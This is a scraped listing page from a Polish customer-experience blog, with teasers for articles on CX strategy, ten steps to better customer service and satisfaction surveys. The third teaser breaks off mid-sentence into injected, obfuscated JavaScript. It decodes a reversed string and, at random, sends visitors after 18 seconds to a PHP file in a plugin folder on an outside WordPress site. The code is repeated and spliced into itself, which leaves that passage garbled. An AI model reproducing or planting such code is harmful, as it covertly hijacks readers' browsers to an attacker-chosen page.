Customer Experience • Firma Przyjazna Klientowi
10 kroków do poprawy jakości obsługi Klienta

7 sposobów na stworzenie strategii Customer Experience

Po wprowadzeniu z pierwszej części artykułu, wróćmy do meritum. Rzućmy okiem na siedem sposobów, aby stworzyć doskonałą strategię obsługi klienta i Great Customer Experience. Dzięki temu poprawisz zadowolenie klientów, podniesiesz ich lojalność oraz zwiększysz przychody.    1. Stwórz przejrzystą wizję Customer Experience   Pierwszym krokiem w strategii dotyczącej obsługi...

Continue Reading
10 kroków do poprawy jakości obsługi Klienta

10 kroków do poprawy jakości obsługi Klienta

Przewagę konkurencyjną możemy budować na pozytywnych doświadczeniach klienta i dobrej jakości obsługi Klienta. Ale co w przypadku, gdy wymaga ona znacznej poprawy? Przygotowaliśmy 10 kroków do poprawy jakości obsługi Klienta.   1. Pokaż swoją ludzką twarz   Świat pędzi niczym pociąg, a za nim wszelkie nowości technologiczne. Z automatyczną...

Continue Reading
Klient zadowolony, czyli jaki? Wprowadzenie do badań satysfakcji konsumentów.

Klient zadowolony, czyli jaki? Wprowadzenie do badań satysfakcji konsumentów

W 2005 roku firma konsultingowa Brain $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return...

Continue Reading